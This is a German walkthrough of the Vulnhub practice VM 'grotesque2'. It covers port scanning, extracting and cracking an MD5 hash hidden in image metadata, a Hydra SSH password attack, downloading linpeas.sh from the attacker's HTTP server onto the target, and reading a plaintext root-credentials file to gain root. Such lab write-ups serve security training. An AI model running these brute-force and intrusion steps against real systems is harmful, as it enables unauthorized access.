grotesque2 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
vi
curl
wget
strings
hydra
ssh
find
ss
cat
grep
sudo
ls
python3

Inhaltsverzeichnis

Reconnaissance

ARP-Scan
192.168.2.108 08:00:27:2e:75:44 PCS Systemtechnik GmbH
Wir verwenden ARP-Scan, um die IP-Adresse und MAC-Adresse des Zielsystems zu ermitteln. Dies hilft uns, das Zielsystem im Netzwerk zu identifizieren.
/etc/hosts
192.168.2.108 grotesque2.vln
Wir fügen die IP-Adresse und den Hostnamen des Zielsystems zur /etc/hosts-Datei hinzu. Dies ermöglicht uns, das Zielsystem über den Hostnamen anzusprechen.
┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- \$IP -Pn --open
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 14:52 CEST
Nmap scan report for grotesque2.vln (192.168.2.108)
Host is up (0.00016s latency).
Not shown: 65009 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
31/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
32/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
33/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
34/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
35/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
36/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
37/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
38/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
39/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
40/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
41/tcp  open  http    PHP cli server 5.5 or later 
69/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
70/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_gopher-ls: 
71/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
72/tcp  open  http    PHP cli server 5.5 or later
Wir führen einen umfassenden Nmap-Scan durch, um offene Ports und Dienste zu identifizieren. Der Scan zeigt, dass Port 22 (SSH) und mehrere Ports im Bereich 31-41, 69-72 (HTTP) offen sind. Dies deutet auf einen SSH-Server und mehrere PHP CLI-Server hin.

Initial Access

┌──(root㉿CCat)-[~]
└─# vi curl.sh
#!/bin/bash

for i in {23..600}; do 
	if [[ $(curl -s http://192.168.2.108:$i | grep "div class") ]]
	then
		echo -e "$i\n"
		wget 192.168.2.108:$i - /root/index/index.$i
	else
		continue;
	fi	
done
Wir erstellen ein Bash-Skript (curl.sh), um Webseiten auf verschiedenen Ports zu untersuchen. Das Skript verwendet curl, um den Inhalt jeder Webseite abzurufen, und grep, um nach "div class"-Elementen zu suchen. Wenn ein solches Element gefunden wird, wird der Port ausgegeben und die Webseite mit wget heruntergeladen.
┌──(root㉿CCat)-[~]
└─# ./curl.sh
258

--2024-10-06 22:13:08--  http://192.168.2.108:258/
Verbindungsaufbau zu 192.168.2.108:258 ... verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 762 [text/html]
Wird in /root/index/index.258 gespeichert.

/root/index/index.258   100%[=======================================>]     762  --.-KB/s    in 0s      

2024-10-06 22:13:08 (197 MB/s) - /root/index/index.258 gespeichert [762/762]
Wir führen das Skript curl.sh aus. Das Skript findet eine Webseite auf Port 258 und lädt sie herunter.
┌──(root㉿CCat)-[~]
└─# cd index
┌──(root㉿CCat)-[~/index]
└─# ll
insgesamt 4
-rw-r--r-- 1 root root 762 6. Okt 22:13 index.258
Wir wechseln in das Verzeichnis "index" und listen den Inhalt auf. Wir finden die heruntergeladene Webseite "index.258".
┌──(root㉿CCat)-[~/index]
└─# cat index.258
congratulations, my child.
do you heard of markov chain?
whatever. ssh username is: satan, raphael, angel, distress, greed or lust
Wir geben den Inhalt der Datei "index.258" aus. Die Webseite enthält einen Hinweis auf SSH-Benutzernamen: satan, raphael, angel, distress, greed oder lust.
┌──(root㉿CCat)-[~/index]
└─# echo -e 'satan\nraphael\nangel\ndistress\ngreed\nlust' > usernames
Wir erstellen eine Datei "usernames" mit den potenziellen SSH-Benutzernamen.
┌──(root㉿CCat)-[~/index]
└─# cat usernames
satan
raphael
angel
distress
greed
lust
Wir geben den Inhalt der Datei "usernames" aus, um die Liste der Benutzernamen zu überprüfen.
┌──(root㉿CCat)-[~]
└─# wget http://192.168.2.108:258/emoji/hand.png
--2024-10-06 22:26:18--  http://192.168.2.108:258/emoji/hand.png
Verbindungsaufbau zu 192.168.2.108:258 ... verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 43272 (42K) [image/png]
Wird in hand.png gespeichert.

hand.png                100%[=======================================>]  42,26K  --.-KB/s    in 0s      

2024-10-06 22:26:18 (126 MB/s) - hand.png gespeichert [43272/43272]
Wir laden die Datei "hand.png" von der Webseite herunter.
┌──(root㉿CCat)-[~]
└─# strings -n 10 hand.png
...
..
------------------------------------------------------------------------------------
 photoshop:LayerName="b6e705ea1249e2bb7b0fd7dac9fcd1b3" 
------------------------------------------------------------------------------------
...
..
Wir verwenden den Befehl "strings", um lesbare Zeichenketten in der Datei "hand.png" zu finden. Wir entdecken eine Zeichenkette "b6e705ea1249e2bb7b0fd7dac9fcd1b3", die wie ein MD5-Hash aussieht.
------------------------------------------------------------------------------------
https://crackstation.net/
b6e705ea1249e2bb7b0fd7dac9fcd1b3
Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults
Hash	Type	Result
b6e705ea1249e2bb7b0fd7dac9fcd1b3	md5	solomon1
                    
Wir verwenden die Online-Datenbank CrackStation, um den MD5-Hash zu knacken. Wir finden das Passwort solomon1.
┌──(root㉿CCat)-[~/index]
└─# echo 'solomon1' > pass
Wir speichern das Passwort in der Datei "pass".
┌──(root㉿CCat)-[~/index]
└─# hydra -L usernames -P pass ssh://192.168.2.108 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-06 22:29:31
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:6/p:1), ~1 try per task
[DATA] attacking ssh://192.168.2.108:22/
~
[22][ssh] host: 192.168.2.108   login: angel   password: solomon1
~
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-06 22:29:45
Wir verwenden Hydra, um einen Brute-Force-Angriff auf den SSH-Server durchzuführen. Wir verwenden die Liste der Benutzernamen aus der Datei "usernames" und das Passwort aus der Datei "pass". Hydra findet das gültige Anmeldeinformationen: Benutzername angel und Passwort solomon1.
┌──(root㉿CCat)-[~/index]
└─# ssh angel@192.168.2.108
angel@192.168.2.108's password:
Linux grotesque 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
angel@grotesque$
Wir verbinden uns über SSH mit dem Benutzernamen "angel" und dem Passwort "solomon1" mit dem Zielsystem. Wir haben erfolgreich initialen Zugriff auf das System erlangt.

Privilege Escalation

angel@grotesque$ find / -type f -perm -4000 -ls 2>/dev/null
    25269    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
    21909     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    16365     12 -rwsr-xr-x   1 root     root          10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
       81     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
     4028     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
       76     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
     4030     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount
     3547     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
     3694     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
       79     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
       77     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
Wir suchen nach SUID-Dateien, die potenziell zur Privilege Escalation ausgenutzt werden können.
angel@grotesque$ sudo -l
-bash: sudo: command not found
Wir versuchen, sudo auszuführen, aber der Befehl ist nicht vorhanden. Dies deutet darauf hin, dass der Benutzer "angel" keine sudo-Rechte hat.
angel@grotesque$ ls -la
total 52
drwxr-xr-x 4 angel angel  4096 Mar 27  2021 .
drwxr-xr-x 3 root  root   4096 Mar 27  2021 ..
drwxr-xr-x 2 angel angel 36864 Mar 27  2021 quiet
drwx------ 2 angel angel  4096 Mar 27  2021 .ssh
-r-x------ 1 angel angel  1805 Jan  3  2021 user.txt
Wir listen den Inhalt des Home-Verzeichnisses auf und finden die Datei "user.txt" (Flag 1/2) und das Verzeichnis "quiet".
angel@grotesque$ cat user.txt
flag 1/2
▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
█▀▀▄███████▄▄█
████
▀▄██▀▄▄▄▄▄█
▄▀▄▄▄█▀▀▀▀▄▄███▄▄██
██▄▀▄▄▄▀█████
███▀▄▄█▀▀▄▄▀▀▀▄█
█▀▄█▄█▀▄▄▀▀▀▄▄▀██
█▀▄▀█▄▄█▀▀▀▄▄▄▄▀▀█▀███
███▀█▄▄▄█▄▄█▄▄██▄█
█▀▀▄███▀█▀█▀███▄███
▀▄▀▀▄▄▄█▄█▄█▄█▄▀█
▀▄▄████
█▀▀▄▄██
█▐▌█▀▄▄▄▄▄█
███▄▄█▄▄██▄▄▄▄▄▄▄▄▀
▐████▄▀█▀█▄▄▄▄▄█▀▄▀▄
█▌█▀▄█▀█▄▀█
█▌██████
█▀▀██████
▀▀▄▄▀▀█▀▄▀▀▀▀██
Wir geben den Inhalt der Datei "user.txt" aus und erhalten die erste Hälfte der Flag.
angel@grotesque/quiet$ cat 7
quiet
quiet
quiet
quiet
quiet
...
Wir untersuchen das Verzeichnis "quiet". Es enthält mehrere Dateien, die alle den Inhalt "quiet" haben.
angel@grotesque/quiet$ grep -v quiet *
Wir verwenden "grep -v quiet *", um nach Dateien zu suchen, die nicht den Inhalt "quiet" haben. Da keine Ausgabe erfolgt, bedeutet dies, dass alle Dateien in diesem Verzeichnis nur "quiet" enthalten.
angel@grotesque:/var/www/html/blog$ ls -la
total 224
drwxr-xr-x  5 root root  4096 Dec 17  2020 .
drwxr-xr-x  3 root root  4096 Dec 17  2020 ..
-rw-r--r--  1 root root   405 Dec  8  2020 index.php
-rw-r--r--  1 root root 19915 Dec  8  2020 license.txt
-rw-r--r--  1 root root  7278 Dec  8  2020 readme.html
-rw-r--r--  1 root root  7101 Dec  8  2020 wp-activate.php
drwxr-xr-x  9 root root  4096 Dec  8  2020 wp-admin
-rw-r--r--  1 root root   351 Dec  8  2020 wp-blog-header.php
-rw-r--r--  1 root root  2328 Dec  8  2020 wp-comments-post.php
-rw-r--r--  1 root root  2913 Dec  8  2020 wp-config-sample.php
drwxr-xr-x  4 root root  4096 Dec  8  2020 wp-content
-rw-r--r--  1 root root  3939 Dec  8  2020 wp-cron.php
drwxr-xr-x 25 root root 12288 Dec  8  2020 wp-includes
-rw-r--r--  1 root root  2496 Dec  8  2020 wp-links-opml.php
-rw-r--r--  1 root root  3300 Dec  8  2020 wp-load.php
-rw-r--r--  1 root root 49831 Dec  8  2020 wp-login.php
-rw-r--r--  1 root root  8509 Dec  8  2020 wp-mail.php
-rw-r--r--  1 root root 20975 Dec  8  2020 wp-settings.php
-rw-r--r--  1 root root 31337 Dec  8  2020 wp-signup.php
-rw-r--r--  1 root root  4747 Dec  8  2020 wp-trackback.php
-rw-r--r--  1 root root  3236 Dec  8  2020 xmlrpc.php
Wir navigieren zum WordPress-Verzeichnis und listen den Inhalt auf. Wir stellen fest, dass alle Dateien root gehören, was bedeutet, dass wir sie nicht ändern können.
angel@grotesque:/var/www/html/blog$ ss -altpn
LISTEN      0           128                    0.0.0.0:64                   0.0.0.0:*    
LISTEN      0           80                   127.0.0.1:3306                
Wir verwenden den Befehl "ss", um Netzwerkverbindungen aufzulisten. Wir stellen fest, dass Port 3306 (MySQL) nur auf localhost erreichbar ist.
angel@grotesque/quiet$ find / -name "*.sh" -ls 2>/dev/null
    29218      4 -rwxr-xr-x   1 root     root         2536 Jul 30  2020 /usr/lib/grub/i386-pc/modinfo.sh
     4199      4 -rw-r--r--   1 root     root         1212 ct 25  2018 /usr/lib/init/vars.sh
     6124      4 -rwxr-xr-x   1 root     root          336 Jan 28  2019 /usr/lib/ifupdown/wait-for-ll6.sh
     6123      4 -rwxr-xr-x   1 root     root          667 Jan 28  2019 /usr/lib/ifupdown/settle-dad.sh
     6125      4 -rwxr-xr-x   1 root     root         1664 Jan 28  2019 /usr/lib/ifupdown/wait-online.sh
    16562      4 -rwxr-xr-x   1 root     root          920 ct  9  2016 /usr/lib/console-setup/console-setup.sh
    16563      4 -rwxr-xr-x   1 root     root          390 ct  9  2016 /usr/lib/console-setup/keyboard-setup.sh
    22011      8 -rwxr-xr-x   1 root     root         4629 Nov 10  2018 /usr/bin/gettext.sh
    29025      8 -rw-r--r--   1 root     root         6706 Aug 10  2018 /usr/share/os-prober/common.sh
     3199      4 -rw-r--r--   1 root     root         2875 Feb 26  2019 /usr/share/debconf/confmodule.sh
    31204      4 -rwxr-xr-x   1 root     root         2921 Nov 25  2020 /usr/share/mysql/debian-start.inc.sh
     6146      4 -rw-r--r--   1 root     root          318 Aug 25  2018 /usr/share/doc/ifupdown/examples/get-mac-address.sh
     6149      4 -rw-r--r--   1 root     root          491 Aug 25  2018 /usr/share/doc/ifupdown/examples/pcmcia-compat.sh
     6150      4 -rw-r--r--   1 root     root          605 Aug 25  2018 /usr/share/doc/ifupdown/examples/ping-places.sh
     6144      4 -rw-r--r--   1 root     root          403 Aug 25  2018 /usr/share/doc/ifupdown/examples/check-mac-address.sh
    30566      4 -rw-r--r--   1 root     root         3189 Feb 25  2018 /usr/share/doc/gawk/examples/prog/igawk.sh
    30536      4 -rw-r--r--   1 root     root          274 Feb 25  2018 /usr/share/doc/gawk/examples/network/PostAgent.sh
    31073      4 -rwxr-xr-x   1 root     root          903 Jan  6  2017 /usr/share/doc/socat/examples/daemon.sh
    31081      4 -rwxr-xr-x   1 root     root         2359 Jan  6  2017 /usr/share/doc/socat/examples/socks4echo.sh
    31076      4 -rwxr-xr-x   1 root     root         2029 Jan  6  2017 /usr/share/doc/socat/examples/proxy.sh
    31080      4 -rwxr-xr-x   1 root     root         2573 Jan  6  2017 /usr/share/doc/socat/examples/socks4a-echo.sh
    31078      4 -rwxr-xr-x   1 root     root         1278 Jan  6  2017 /usr/share/doc/socat/examples/readline-test.sh
    31077      4 -rwxr-xr-x   1 root     root         1218 Jan  6  2017 /usr/share/doc/socat/examples/proxyecho.sh
    31079      4 -rwxr-xr-x   1 root     root          689 Jan  6  2017 /usr/share/doc/socat/examples/readline.sh
    31075      4 -rwxr-xr-x   1 root     root         2066 Jan  6  2017 /usr/share/doc/socat/examples/mail.sh
    25236      4 -rwxr-xr-x   1 root     root          883 Mar 20  1996 /usr/share/doc/netcat-traditional/examples/scripts/dist.sh
     5885      8 -rw-r--r--   1 root     root         5589 ct 11  2019 /usr/share/doc/cron/examples/cron-tasks-review.sh
    17358      0 lrwxrwxrwx   1 root     root           26 Dec 17  2020 /etc/rc4.d/S01console-setup.sh -> ../init.d/console-setup.sh
    30437      4 -rw-r--r--   1 root     root          757 Sep 14  2018 /etc/profile.d/gawk.sh
    21070      4 -rw-r--r--   1 root     root          664 Mar  1  2019 /etc/profile.d/bash_completion.sh
     1059      0 lrwxrwxrwx   1 root     root           20 Dec 17  2020 /etc/rc6.d/K01hwclock.sh -> ../init.d/hwclock.sh
    17359      0 lrwxrwxrwx   1 root     root           26 Dec 17  2020 /etc/rc5.d/S01console-setup.sh -> ../init.d/console-setup.sh
    17356      0 lrwxrwxrwx   1 root     root           26 Dec 17  2020 /etc/rc2.d/S01console-setup.sh -> ../init.d/console-setup.sh
    17357      0 lrwxrwxrwx   1 root     root           26 Dec 17  2020 /etc/rc3.d/S01console-setup.sh -> ../init.d/console-setup.sh
    17365      4 -rwxr-xr-x   1 root     root           73 Dec 17  2020 /etc/console-setup/cached_setup_terminal.sh
    17364      4 -rwxr-xr-x   1 root     root          469 Dec 17  2020 /etc/console-setup/cached_setup_font.sh
    17363      4 -rwxr-xr-x   1 root     root          358 Dec 17  2020 /etc/console-setup/cached_setup_keyboard.sh
     4045      4 -rwxr-xr-x   1 root     root         3809 Jan 10  2019 /etc/init.d/hwclock.sh
    16559      4 -rwxr-xr-x   1 root     root         1232 Aug 15  2019 /etc/init.d/console-setup.sh
    16560      4 -rwxr-xr-x   1 root     root         1479 ct  9  2016 /etc/init.d/keyboard-setup.sh
     1058      0 lrwxrwxrwx   1 root     root           20 Dec 17  2020 /etc/rc0.d/K01hwclock.sh -> ../init.d/hwclock.sh
     1057      0 lrwxrwxrwx   1 root     root           20 Dec 17  2020 /etc/rcS.d/S01hwclock.sh -> ../init.d/hwclock.sh
    17355      0 lrwxrwxrwx   1 root     root           27 Dec 17  2020 /etc/rcS.d/S01keyboard-setup.sh -> ../init.d/keyboard-setup.sh
    29638      4 -rw-r--r--   1 root     root         2536 Dec 17  2020 /boot/grub/i386-pc/modinfo.sh
Wir suchen nach ausführbaren Shell-Skripten.
┌──(root㉿CCat)-[~/Hackingtools]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Wir starten einen einfachen HTTP-Server auf unserem Kali-System, um Dateien auf das Zielsystem zu übertragen.
Privilege Escalation
angel@grotesque/quiet$ wget 192.168.2.199/linpeas.sh
--2024-10-06 15:47:05--  http://192.168.2.199/linpeas.sh
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 827827 (808K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh              100%[=======================================>] 808.42K  --.-KB/s    in 0.007s  

2024-10-06 15:47:05 (119 MB/s) - ‘linpeas.sh’ saved [827827/827827]
Wir laden das LinPEAS-Skript auf das Zielsystem herunter. LinPEAS ist ein Skript, das das System auf potenzielle Schwachstellen für Privilege Escalation untersucht.
┌──(root㉿CCat)-[~/Hackingtools]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.108 - - [06/Oct/2024 22:46:53] "GET /linpeas.sh HTTP/1.1" 200 -
Der HTTP-Server protokolliert den Download von LinPEAS.
angel@grotesque/quiet$ while true; do ls -la;sleep 1;clear;done
total 40
drwxr-xr-x 2 angel angel 36864 Oct  6 16:04 .
drwxr-xr-x 4 angel angel  4096 Mar 27  2021 ..
Wir beobachten den Inhalt des aktuellen Verzeichnisses, um Änderungen festzustellen. (Die Ausgabe wird aufgrund der Schleife jede Sekunde aktualisiert.)
1 minute später...
angel@grotesque/quiet$ while true; do ls -la;sleep 1;clear;done
-rw-r--r-- 1 root  root      6 Oct  6 16:08 971
-rw-r--r-- 1 root  root      6 Oct  6 16:08 972
-rw-r--r-- 1 root  root      6 Oct  6 16:08 973
-rw-r--r-- 1 root  root      6 Oct  6 16:08 974
-rw-r--r-- 1 root  root      6 Oct  6 16:08 975
-rw-r--r-- 1 root  root      6 Oct  6 16:08 976
-rw-r--r-- 1 root  root      6 Oct  6 16:08 977
-rw-r--r-- 1 root  root      6 Oct  6 16:08 978
-rw-r--r-- 1 root  root      6 Oct  6 16:08 979
-rw-r--r-- 1 root  root      6 Oct  6 16:08 98
-rw-r--r-- 1 root  root      6 Oct  6 16:08 980
-rw-r--r-- 1 root  root      6 Oct  6 16:08 981
-rw-r--r-- 1 root  root      6 Oct  6 16:08 982
-rw-r--r-- 1 root  root      6 Oct  6 16:08 983
-rw-r--r-- 1 root  root      6 Oct  6 16:08 984
-rw-r--r-- 1 root  root      6 Oct  6 16:08 985
-rw-r--r-- 1 root  root      6 Oct  6 16:08 986
-rw-r--r-- 1 root  root      6 Oct  6 16:08 987
-rw-r--r-- 1 root  root      6 Oct  6 16:08 988
-rw-r--r-- 1 root  root      6 Oct  6 16:08 989
Nach einiger Zeit stellen wir fest, dass neue Dateien im Verzeichnis "quiet" erstellt wurden, die root gehören. Dies deutet auf einen laufenden Prozess hin, der von root ausgeführt wird und diese Dateien erzeugt.
angel@grotesque$ find / -name "root*.txt" 2>/dev/null
/rootcreds.txt
Wir suchen nach Dateien, deren Namen mit "root" beginnen und die Erweiterung ".txt" haben. Wir finden die Datei "/rootcreds.txt".
angel@grotesque$ cat /rootcreds.txt
root creds

root
sweetchild
root creds

root
sweetchild
root creds

root
sweetchild
root creds

root
sweetchild
Wir geben den Inhalt der Datei "/rootcreds.txt" aus. Die Datei enthält den Benutzernamen "root" und das Passwort sweetchild. Dieser Fund ist entscheidend für die Privilege Escalation.
angel@grotesque$ su root
Password:
sweetchild
root@grotesque:/home/angel# id
uid=0(root) gid=0(root) groups=0(root)
Wir wechseln mit dem Passwort "sweetchild" zum Benutzer "root". Der Befehl ist erfolgreich, und wir sind jetzt als "root" angemeldet. Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser Ziel erreicht!
root@grotesque:/home/angel# cd ~
root@grotesque: ls
check.sh logdel2 real real.sh root.txt test upit2.sh upit.sh write.sh
Wir wechseln in das Home-Verzeichnis von "root" und listen den Inhalt auf. Wir finden die Datei "root.txt", die wahrscheinlich die Root-Flag enthält.
root@grotesque: cat root.txt
flag 2/2
▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
█▀▀▄███████▄▄█
████
▀▄██▀▄▄▄▄▄█
▄▀▄▄▄█▀▀▀▀▄▄███▄▄██
██▄▀▄▄▄▀█████
███▀▄▄█▀▀▄▄▀▀▀▄█
█▀▄█▄█▀▄▄▀▀▀▄▄▀██
█▀▄▀█▄▄█▀▀▀▄▄▄▄▀▀█▀███
███▀█▄▄▄█▄▄█▄▄██▄█
█▀▀▄███▀█▀█▀███▄███
▀▄▀▀▄▄▄█▄█▄█▄█▄▀█
▀▄▄████
█▀▀▄▄██
█▐▌█▀▄▄▄▄▄█
███▄▄█▄▄██▄▄▄▄▄▄▄▄▀
▐████▄▀█▀█▄▄▄▄▄█▀▄▀▄
█▌█▀▄█▀█▄▀█
█▌██████
█▀▀██████
▀▀▄▄▀▀█▀▄▀▀▀▀██

congratulations!
Wir geben den Inhalt der Datei "root.txt" aus und erhalten die zweite Hälfte der Flag.

Flags

cat user.txt
▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄ █▀▀▄███████▄▄█ ████ ▀▄██▀▄▄▄▄▄█ ▄▀▄▄▄█▀▀▀▀▄▄███▄▄██ ██▄▀▄▄▄▀█████ ███▀▄▄█▀▀▄▄▀▀▀▄█ █▀▄█▄█▀▄▄▀▀▀▄▄▀██ █▀▄▀█▄▄█▀▀▀▄▄▄▄▀▀█▀███ ███▀█▄▄▄█▄▄█▄▄██▄█ █▀▀▄███▀█▀█▀███▄███ ▀▄▀▀▄▄▄█▄█▄█▄█▄▀█ ▀▄▄████ █▀▀▄▄██ █▐▌█▀▄▄▄▄▄█ ███▄▄█▄▄██▄▄▄▄▄▄▄▄▀ ▐████▄▀█▀█▄▄▄▄▄█▀▄▀▄ █▌█▀▄█▀█▄▀█ █▌██████ █▀▀██████ ▀▀▄▄▀▀█▀▄▀▀▀▀██
cat /rootcreds.txt
root sweetchild
cat root.txt
▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄ █▀▀▄███████▄▄█ ████ ▀▄██▀▄▄▄▄▄█ ▄▀▄▄▄█▀▀▀▀▄▄███▄▄██ ██▄▀▄▄▄▀█████ ███▀▄▄█▀▀▄▄▀▀▀▄█ █▀▄█▄█▀▄▄▀▀▀▄▄▀██ █▀▄▀█▄▄█▀▀▀▄▄▄▄▀▀█▀███ ███▀█▄▄▄█▄▄█▄▄██▄█ █▀▀▄███▀█▀█▀███▄███ ▀▄▀▀▄▄▄█▄█▄█▄█▄▀█ ▀▄▄████ █▀▀▄▄██ █▐▌█▀▄▄▄▄▄█ ███▄▄█▄▄██▄▄▄▄▄▄▄▄▀ ▐████▄▀█▀█▄▄▄▄▄█▀▄▀▄ █▌█▀▄█▀█▄▀█ █▌██████ █▀▀██████ ▀▀▄▄▀▀█▀▄▀▀▀▀██ congratulations!